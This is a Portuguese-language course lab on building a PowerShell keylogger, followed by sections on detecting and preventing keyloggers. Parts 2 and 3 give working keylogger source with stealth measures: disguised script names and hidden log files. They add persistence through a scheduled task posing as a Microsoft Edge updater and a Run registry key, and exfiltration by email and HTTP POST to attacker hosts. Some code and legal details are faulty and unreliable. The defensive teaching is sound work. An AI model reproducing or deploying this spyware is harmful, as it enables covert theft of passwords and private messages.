Lab 3.3: Keylogger PowerShell - Captura de Digitação
Objetivos de Aprendizagem
Ao final deste laboratório, você será capaz de:
- Compreender o funcionamento de um keylogger
- Criar um keylogger PowerShell simples
- Implementar furtividade e persistência
- Detectar a presença de um keylogger
- Entender os riscos de PCs públicos e não monitorados
- Aplicar medidas de proteção
Duração Estimada
35 minutos
Pré-requisitos
- VM Windows 10/11
- PowerShell
- Compreensão dos Labs 3.1 e 3.2
Contexto Profissional
Keyloggers são usados por:
- Atacantes para roubar senhas e informações sensíveis
- Empresas para monitoramento de funcionários (com consentimento legal!)
- Pais para monitorar atividades dos filhos (controle parental)
- Governos para vigilância direcionada (com mandado)
Este lab demonstra:
- Como TUDO que você digita pode ser capturado
- Por que PCs públicos são perigosos
- Como agem os ladrões de identidade
- Importância da segurança física
- Técnicas de detecção
⚠️ AVISO ÉTICO E LEGAL - EXTREMAMENTE IMPORTANTE
ESTE LABORATÓRIO ENSINA A CRIAÇÃO DE UM KEYLOGGER
Keyloggers são ferramentas EXTREMAMENTE invasivas que capturam TUDO que é digitado: senhas, mensagens privadas, e-mails, números de cartão de crédito, etc.
LEGAL APENAS SE:
- No seu próprio computador/VM
- Com consentimento escrito de todas as pessoas monitoradas
- Para testes de segurança autorizados por contrato
- Para monitoramento parental legal (apenas menores)
ESTRITAMENTE ILEGAL:
- Instalar no computador de terceiros sem consentimento
- Em PCs públicos (biblioteca, café, etc.)
- Em PCs de trabalho sem autorização do empregador
- Em PCs de cônjuge/parceiro/família sem consentimento
CONSEQUÊNCIAS EXTREMAMENTE GRAVES:
- Crime grave: Violação de privacidade (Código Penal art. 184)
- Prisão de até 5 anos
- Multas elevadas
- Ficha criminal permanente
- Processo civil por danos
- Expulsão acadêmica
EM ALGUNS PAÍSES/ESTADOS:
- Keylogging = Crime equiparado à escuta eletrônica
- Penas ainda mais severas
ESTE LAB É PARA COMPREENSÃO E DEFESA APENAS
Ao realizar este laboratório, você entende que essas técnicas existem e aprende a se proteger delas. O uso malicioso é SUA responsabilidade e terá consequências legais graves.
Parte 1: Compreendendo os Keyloggers
Etapa 1.1: O que é um Keylogger?
Keylogger = Software (ou hardware) que registra todas as teclas digitadas.
Captura:
- Senhas
- Mensagens (e-mail, chat, SMS)
- Documentos digitados
- Pesquisas na web
- Números de cartão de crédito
- Código PIN
- TUDO!
Tipos:
- Software (este lab): Programa rodando em segundo plano
- Hardware: Dispositivo físico entre teclado e PC
- Kernel-level: Integrado ao sistema operacional
- Hypervisor-level: No nível da virtualização
Etapa 1.2: Como Funciona?
Princípio técnico:
- Hook de teclado: Intercepta eventos do teclado
- Captura de tecla: Registra qual tecla foi pressionada
- Timestamp: Hora exata da digitação
- Janela ativa: Qual programa/site está ativo
- Salvamento: Escreve em arquivo de log oculto
- Exfiltração: Envia os logs ao atacante
APIs do Windows utilizadas:
GetAsyncKeyState()- Estado atual das teclasGetForegroundWindow()- Janela ativaGetWindowText()- Título da janela
Perguntas:
- Você já usou um PC público (biblioteca, café)?
- Já digitou senhas nesses PCs?
Etapa 1.3: Cenários de Uso Malicioso
Cenário 1: PC Público
- Keylogger instalado em PC de biblioteca
- Você digita senha de e-mail/banco
- Atacante recupera o log depois
- Acessa todas as suas contas
Cenário 2: USB Malicioso
- Pen drive encontrado contém keylogger
- Autoexecução ou curiosidade → Instalação
- Captura por meses
- Roubo de identidade completo
Cenário 3: Cônjuge Ciumento
- Instalação em PC compartilhado
- Captura conversas, e-mails
- Violação grave de privacidade
- Ilegal mesmo entre cônjuges!
Perguntas: 3. Qual cenário parece mais provável para você? 4. Como você se protegeria?
Parte 2: Criação do Keylogger
Etapa 2.1: Versão Básica (15 linhas!)
Crie um arquivo keylogger_basic.ps1:
# Keylogger PowerShell Básico
$logFile = "$env:TEMP\log.txt"
Add-Type -AssemblyName System.Windows.Forms
while ($true) {
Start-Sleep -Milliseconds 10
foreach ($key in [Enum]::GetValues([System.Windows.Forms.Keys])) {
if ([System.Windows.Forms.Control]::IsKeyLocked($key)) {
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
$logEntry = "$timestamp - $key"
Add-Content -Path $logFile -Value $logEntry
}
}
}
ATENÇÃO: Este código é simplificado para demonstração. Versão real é mais complexa.
Execute em segundo plano:
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File keylogger_basic.ps1
Janela invisível! O keylogger roda em segundo plano.
Etapa 2.2: Versão Avançada (Mais Realista)
Crie keylogger_advanced.ps1:
# Keylogger PowerShell Avançado
# PARA USO EDUCACIONAL APENAS!
$logFile = "$env:APPDATA\Microsoft\Windows\winlog.txt"
$lastWindow = ""
# Assinatura API Windows
Add-Type @"
using System;
using System.Runtime.InteropServices;
using System.Text;
public class KeyLogger {
[DllImport("user32.dll")]
public static extern short GetAsyncKeyState(int vKey);
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
public static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
}
"@
function Get-ActiveWindowTitle {
$handle = [KeyLogger]::GetForegroundWindow()
$title = New-Object System.Text.StringBuilder 256
[void][KeyLogger]::GetWindowText($handle, $title, $title.Capacity)
return $title.ToString()
}
function Write-Log {
param($text)
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
Add-Content -Path $logFile -Value "[$timestamp] $text" -Force
}
Write-Log "===== Keylogger Started ====="
# Loop principal
while ($true) {
Start-Sleep -Milliseconds 10
# Verificar janela ativa
$currentWindow = Get-ActiveWindowTitle
if ($currentWindow -ne $lastWindow -and $currentWindow -ne "") {
Write-Log "`n=== Window: $currentWindow ==="
$lastWindow = $currentWindow
}
# Verificar cada tecla
for ($i = 8; $i -le 190; $i++) {
$keyState = [KeyLogger]::GetAsyncKeyState($i)
if ($keyState -eq -32767) {
# Tecla pressionada
$key = [System.Enum]::GetName([System.Windows.Forms.Keys], $i)
# Teclas especiais
switch ($i) {
8 { Write-Log "[BACKSPACE]"; break }
9 { Write-Log "[TAB]"; break }
13 { Write-Log "[ENTER]`n"; break }
16 { continue } # Shift
17 { continue } # Ctrl
18 { continue } # Alt
20 { Write-Log "[CAPSLOCK]"; break }
27 { Write-Log "[ESC]"; break }
32 { Write-Log " "; break }
46 { Write-Log "[DELETE]"; break }
default {
# Letra ou número
if ($key) {
$char = [char]$i
Write-Log $char -NoNewline
}
}
}
}
}
}
Funcionalidades:
- ✅ Captura todas as teclas
- ✅ Detecta a janela ativa (sabe qual site/app)
- ✅ Timestamp preciso
- ✅ Arquivo de log oculto
- ✅ Lida com teclas especiais (Enter, Backspace, etc.)
Perguntas: 5. Quantas linhas tem este keylogger? 6. É difícil de criar? (Resposta: NÃO!)
Etapa 2.3: Execução e Teste
Inicie o keylogger:
Start-Process powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Path\To\keylogger_advanced.ps1"
Agora, digite algumas coisas:
- Abra o Bloco de Notas
- Digite: "Isto é um teste"
- Abra o navegador
- Digite: "senha: Test123!"
- Abra a calculadora
- Digite alguns números
Pare o keylogger:
Get-Process powershell | Where-Object {$_.CommandLine -like "*keylogger*"} | Stop-Process
Etapa 2.4: Ver os Resultados
Abra o arquivo de log:
notepad "$env:APPDATA\Microsoft\Windows\winlog.txt"
VOCÊ VÊ:
[2024-11-08 14:23:15] ===== Keylogger Started =====
[2024-11-08 14:23:20] === Window: Sem título - Bloco de Notas ===
I s t o é u m t e s t e [ENTER]
[2024-11-08 14:23:45] === Window: Google Chrome - google.com ===
s e n h a : T e s t 1 2 3 ! [ENTER]
[2024-11-08 14:24:10] === Window: Calculadora ===
1 2 3 4 5 6 7 8 9 0
Uau! TUDO FOI CAPTURADO!
Até mesmo:
- As senhas (mostradas como pontos mas capturadas em texto claro!)
- As janelas utilizadas
- O horário exato
- As teclas especiais
Perguntas: 7. Você ficou surpreso ao ver tudo que foi capturado? 8. Imagine este arquivo após um dia inteiro...
Parte 3: Furtividade e Persistência
Etapa 3.1: Tornando Invisível
Problema atual:
- Processo powershell.exe visível no Gerenciador de Tarefas
- Consumo de CPU visível
- Arquivo de log pode ser encontrado
Melhorias:
1. Nome de processo disfarçado:
Renomeie o script:
winupdate.ps1(parece Windows Update)svchost.ps1(parece serviço do Windows)chrome_update.ps1(parece Chrome)
2. Arquivo de log oculto:
$logFile = "$env:APPDATA\Microsoft\Windows\Logs\winupdate.log"
# Criar pasta se não existir
New-Item -ItemType Directory -Force -Path (Split-Path $logFile)
# Marcar arquivo como oculto e de sistema
$file = Get-Item $logFile -Force
$file.Attributes = 'Hidden,System'
3. Reduzir consumo de CPU:
# Em vez de 10ms, use 50ms ou 100ms
Start-Sleep -Milliseconds 50
Menos preciso, mas menos detectável!
Etapa 3.2: Persistência Automática
Método 1: Tarefa Agendada
$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\winupdate.ps1"
$trigger = New-ScheduledTaskTrigger -AtLogon
$principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest
Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore" `
-Action $action -Trigger $trigger -Principal $principal `
-Description "Keeps your Microsoft Edge up to date"
Nome que parece tarefa legítima!
Método 2: Chave de Registro Run
$scriptPath = "C:\Windows\Temp\winupdate.ps1"
$psCommand = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File $scriptPath"
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
-Name "WindowsSecurityUpdate" -Value $psCommand
Inicia a cada login!
Método 3: Serviço do Windows (Avançado)
# Criar serviço do Windows disfarçado
# Requer privilégios SYSTEM
# Não detalhado aqui, mas muito eficaz
Perguntas: 9. Qual método de persistência você prefere? 10. Como um usuário comum detectaria isso?
Etapa 3.3: Exfiltração dos Logs
Problema: Atacante precisa recuperar o arquivo de log
Soluções:
1. E-mail automático (simples):
# Enviar log por e-mail diariamente
$emailFrom = "keylogger@attacker.com"
$emailTo = "attacker@evil.com"
$subject = "Log from $env:COMPUTERNAME"
$body = Get-Content $logFile -Raw
$smtp = "smtp.attacker.com"
Send-MailMessage -From $emailFrom -To $emailTo -Subject $subject -Body $body -SmtpServer $smtp
2. Upload HTTP (furtivo):
$url = "http://attacker.com/upload.php"
$logContent = Get-Content $logFile -Raw
Invoke-WebRequest -Uri $url -Method POST -Body @{data=$logContent} -UseBasicParsing
3. Reverse shell periódico:
Enviar log via reverse shell estabelecido (Lab 3.2!)
4. Armazenamento em nuvem (muito furtivo):
# Upload para Dropbox/OneDrive/Google Drive
# Passa despercebido pois tráfego é "legítimo"
Detecção difícil pois parece tráfego normal!
Parte 4: Detecção de Keylogger
Etapa 4.1: Detecção por Processo
Procurar processos PowerShell suspeitos:
Get-Process powershell | Select-Object Id,ProcessName,StartTime,Path,CommandLine | Format-List
Suspeito se:
- Iniciado no login
- Argumento contém "Hidden"
- Não foi iniciado por você
- Está rodando há muito tempo
Finalizar processo suspeito:
Stop-Process -Id <PID> -Force
Etapa 4.2: Detecção por Arquivos
Procurar arquivos de log suspeitos:
# Procurar arquivos .txt ou .log modificados recentemente
Get-ChildItem -Path C:\Users\$env:USERNAME\AppData -Recurse -Include *.txt,*.log -Force -ErrorAction SilentlyContinue |
Where-Object {$_.LastWriteTime -gt (Get-Date).AddHours(-1)} |
Select-Object FullName,Length,LastWriteTime
Examine arquivos suspeitos:
notepad "C:\Path\To\Suspicious\File.txt"
Se você vê suas próprias digitações = KEYLOGGER!
Etapa 4.3: Detecção por Tarefas Agendadas
Listar todas as tarefas:
Get-ScheduledTask | Where-Object {$_.State -eq "Ready"} |
Select-Object TaskName,TaskPath,State |
Format-Table -AutoSize
Examinar tarefas suspeitas:
$task = Get-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore"
$task | Select-Object * | Format-List
$task.Actions
Suspeito se:
- Nome parece serviço do Windows mas não existe de verdade
- Ação = PowerShell com script desconhecido
- Você não criou
Remover:
Unregister-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore" -Confirm:$false
Etapa 4.4: Detecção por Registro
Verificar chaves Run:
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
Qualquer entrada desconhecida = suspeita!
Remover:
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "WindowsSecurityUpdate"
Etapa 4.5: Ferramentas de Detecção Automatizadas
Usar antivírus/antimalware:
# Windows Defender varredura completa
Start-MpScan -ScanType FullScan
Ferramentas especializadas:
- Malwarebytes (gratuito)
- HitmanPro
- RogueKiller
- KL-Detector (específico para keyloggers)
Perguntas: 11. Você detectou seu próprio keylogger? 12. Quanto tempo levou para detectar?
Parte 5: Cenários Reais e Impacto
Etapa 5.1: Roubo de Identidade Completo
O que um keylogger pode capturar em 1 semana:
Dia 1:
- E-mail: usuário + senha
- Redes sociais: Facebook, Instagram, Twitter
- Pesquisas pessoais no Google
Dia 2:
- Banco online: usuário + senha + código
- Número do cartão + CVV + validade
- Conversas privadas (Messenger, WhatsApp Web)
Dia 3:
- VPN da empresa: acesso à rede corporativa
- E-mails profissionais sensíveis
- Documentos confidenciais digitados
Dia 4:
- Senhas de colegas (se compartilhadas)
- Credenciais de servidores
- Segredos industriais
Dia 5-7:
- Acúmulo de dados
- Padrões de vida (horários de conexão, hábitos)
- Contatos e relações
RESULTADO:
- Roubo total de identidade
- Acesso a todas as suas contas
- Comprometimento do seu empregador
- Possível chantagem
- Ruína financeira potencial
Etapa 5.2: Caso Real - Magic Lantern (FBI)
2001: FBI desenvolve keylogger "Magic Lantern"
- Implantado via exploit ou acesso físico
- Captura chaves de criptografia
- Contorna PGP e outros métodos de criptografia
Revelado publicamente: Controvérsia sobre privacidade
Etapa 5.3: Caso Real - Lan Houses na Ásia
2010s: Keyloggers descobertos em 60% dos PCs de lan houses
- Tailândia, Filipinas, Índia
- Turistas vítimas
- Contas bancárias esvaziadas após retorno ao país de origem
Dica de viagem: NUNCA acesse banco em PC público!
Etapa 5.4: Caso Real - Empresa Comprometida
2018: Empresa farmacêutica comprometida
- Keylogger instalado em PC de funcionário via phishing
- Acesso VPN capturado
- Movimento lateral para servidores de P&D
- Roubo de fórmulas de medicamentos valendo mais de US$100 milhões
Custo total: Falência da empresa!
Perguntas: 13. Esses cenários parecem realistas para você? 14. Qual seria o impacto se houvesse um keylogger no seu PC agora?
Parte 6: Medidas de Proteção
Etapa 6.1: Proteção Pessoal
1. NUNCA use PC público para:
- Banco online
- Redes sociais
- Compras online
- Qualquer coisa sensível!
2. Teclado virtual (on-screen keyboard):
osk
Clique nas letras ao invés de digitar = contorna keylogger!
Limitação: Não prático para uso diário
3. Gerenciador de senhas:
Bitwarden, 1Password, LastPass:
- Preenchimento automático = sem digitação!
- Keylogger não captura nada
4. Autenticação em dois fatores (2FA):
Mesmo que a senha seja roubada:
- 2FA impede o acesso
- Código no celular é obrigatório
Etapa 6.2: Proteção Empresarial
1. Antivirus/EDR:
Endpoint Detection and Response:
- Detecta comportamentos suspeitos
- Bloqueia keyloggers conhecidos
- Alerta equipe de segurança
2. Whitelisting de aplicações:
Somente programas autorizados podem rodar:
# AppLocker
# Device Guard
# Windows Defender Application Control
3. Política de execução do PowerShell:
Set-ExecutionPolicy AllSigned -Force
Apenas scripts assinados por autoridade confiável!
4. Monitoramento:
- SIEM (Security Information and Event Management)
- Log de todos os processos PowerShell
- Alerta se execução com "-Hidden"
Etapa 6.3: Proteção Física
PC Pessoal:
- BitLocker ativado (impede instalação em modo de recuperação)
- Bloqueio automático após 1 minuto
- Senha na BIOS (impede boot alternativo)
- Nunca deixar sem supervisão
PC Empresarial: 5. Criptografia total de disco obrigatória 6. Portas USB desativadas (impede autorun) 7. Monitoramento por vídeo em salas de servidores 8. Crachá de acesso obrigatório
Parte 7: Keyloggers de Hardware
Etapa 7.1: O que é um Keylogger de Hardware?
Dispositivo físico:
- Conectado entre teclado e PC
- OU integrado ao teclado
- OU integrado ao cabo
Vantagens (para o atacante):
- Impossível de detectar por software!
- Nenhum antivírus pode encontrar
- Funciona em qualquer SO (Windows, Linux, Mac)
- Não há processo para esconder
Aparência:
- Parece um adaptador USB
- Ou completamente invisível (integrado)
Etapa 7.2: Detecção de Hardware
Como detectar:
-
Inspeção visual regular
- Verifique conexões do teclado
- Procure dispositivos entre teclado e PC
- Compare com o estado normal
-
Verifique cabos
- Caixa suspeita no cabo?
- Cabo mais grosso que o normal?
-
Baseline de hardware
- Fotografe o setup normal
- Compare regularmente
Na empresa:
- Selos de segurança nos conectores
- Inventário rigoroso de hardware
- Inspeções regulares
Etapa 7.3: Proteção Contra Hardware
Soluções:
- Teclado sem fio Bluetooth (mais difícil de interceptar)
- Inspeção visual regular
- Ambiente controlado
- Teclado virtual para senhas críticas
Parte 8: Exercícios Práticos
Exercício 8.1: Aprimore o Keylogger
Adicione estas funcionalidades:
- Captura de screenshots periódicos
- Detecção de palavras-chave ("password", "bank", "credit card")
- Criptografia do arquivo de log
- Compressão antes da exfiltração
Exercício 8.2: Script de Detecção
Crie um script que:
- Escaneia processos PowerShell suspeitos
- Verifica tarefas agendadas
- Procura arquivos de log suspeitos
- Verifica chaves de registro Run
- Gera relatório em HTML
Exercício 8.3: Política de Segurança
Redija uma política empresarial:
- Proibição de keyloggers
- Procedimentos de detecção
- Sanções em caso de uso
- Treinamento de funcionários
Entregáveis
A entregar:
-
Documento de análise (Word/PDF, 3-4 páginas):
- Respostas às 14 perguntas
- Explicação do funcionamento do keylogger
- Screenshot do arquivo de log (ANONIMIZADO!)
- Análise dos riscos pessoais
-
Capturas de tela (mínimo 5):
- Código do keylogger
- Processo PowerShell em execução
- Arquivo de log com capturas (anonimizadas!)
- Tarefa agendada de persistência
- Detecção e remoção
-
Plano de proteção pessoal (1-2 páginas):
- Avaliação dos seus riscos atuais
- Medidas a serem implementadas
- Mudanças de hábitos
- Cronograma de implementação
-
Sensibilização (opcional, +5% bônus):
- Vídeo ou apresentação (5 min)
- "Por que nunca usar PC público"
- Demonstração do keylogger
- Dicas de proteção
Critérios de Avaliação
| Critério | Pontos |
|---|---|
| Keylogger funcional criado e testado | 25% |
| Compreensão do funcionamento | 20% |
| Detecção e remoção bem-sucedidas | 20% |
| Análise dos riscos reais | 15% |
| Plano de proteção pessoal | 15% |
| Qualidade da documentação | 5% |
| Bônus de sensibilização | +5% |
Comandos de Referência Rápida
Execução
# Iniciar keylogger oculto
Start-Process powershell -WindowStyle Hidden -ArgumentList "-ExecutionPolicy Bypass -File keylogger.ps1"
# Parar
Get-Process powershell | Where-Object {$_.CommandLine -like "*keylogger*"} | Stop-Process
Detecção
# Processos suspeitos
Get-Process powershell | Select Id,StartTime,CommandLine
# Arquivos de log recentes
Get-ChildItem -Path $env:APPDATA -Recurse -Include *.txt,*.log -Force
# Tarefas agendadas
Get-ScheduledTask | Where State -eq "Ready"
# Chaves Run
Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run
Limpeza
# Remover tarefa
Unregister-ScheduledTask -TaskName "SuspiciousTask"
# Remover chave de registro
Remove-ItemProperty -Path "HKCU:\...\Run" -Name "Suspicious"
# Remover arquivo de log
Remove-Item -Path $logFile -Force
Solução de Problemas
Problema: Keylogger não captura nada
Solução:
- Verifique se o script está rodando (
Get-Process powershell) - Verifique se o arquivo de log foi criado
- Permissões de escrita na pasta?
Problema: Antivírus bloqueia
Solução:
- Isso é NORMAL! É um keylogger!
- Adicione exceção apenas para este laboratório
- Reative a proteção depois
Problema: Consumo de CPU alto
Solução:
- Aumente o delay do
Start-Sleep(50ms ou 100ms) - Otimize o loop de detecção
Indo Além (Opcional)
Desafio 1: Keylogger GUI
Crie uma interface gráfica para:
- Iniciar/parar captura
- Visualizar logs em tempo real
- Filtrar por aplicação
- Exportar em diferentes formatos
Desafio 2: Anti-Keylogger
Desenvolva uma ferramenta que:
- Detecta keyloggers ativos
- Remove automaticamente
- Protege em tempo real
- Alerta o usuário
Desafio 3: Pesquisa
Estude keyloggers profissionais:
- FinFisher/FinSpy (governamental)
- Ardamax Keylogger (comercial)
- Perfect Keylogger (comercial)
Compare com sua versão.
Recursos Adicionais
- Windows API Documentation
- GetAsyncKeyState Function
- PowerShell Security Best Practices
- OWASP - Keyloggers
Conclusão
Este laboratório ensinou você a:
- Criar um keylogger PowerShell funcional
- Implementar furtividade e persistência
- Detectar e remover keyloggers
- Compreender os riscos reais
- Aplicar medidas de proteção
Lições CRÍTICAS:
- 15 linhas de código = Keylogger funcional!
- TUDO que você digita pode ser capturado
- PCs públicos = PERIGO EXTREMO
- Gerenciador de senhas = Proteção essencial
- Nunca digite senhas sensíveis em PC não confiável
- Detecção difícil mas possível com vigilância
CONSCIENTIZAÇÃO:
Depois deste laboratório, você nunca mais verá um teclado da mesma forma. Toda vez que digitar uma senha, pergunte-se: "Este PC é seguro?"
PROTEJA-SE:
- Use um gerenciador de senhas AGORA
- Ative 2FA em TODAS as suas contas
- Nunca faça operações bancárias em PC público
- Verifique regularmente seus processos
- Eduque quem está ao seu redor
MENSAGEM FINAL:
Agora você tem o poder de criar um keylogger em poucos minutos. Esse poder vem com uma ENORME responsabilidade.
Use este conhecimento para:
- ✅ Se proteger
- ✅ Proteger os outros
- ✅ Conscientizar quem está ao seu redor
- ✅ Testes de segurança autorizados
NUNCA para:
- ❌ Espionar
- ❌ Roubar
- ❌ Violar a privacidade
- ❌ Prejudicar
Fique do lado do bem. 🛡️
Lab desenvolvido no contexto do curso Sistemas Operacionais - MÓDULO 3
⚠️ LEMBRETE FINAL: Keylogger em computador de terceiros = CRIME GRAVE. Prisão garantida.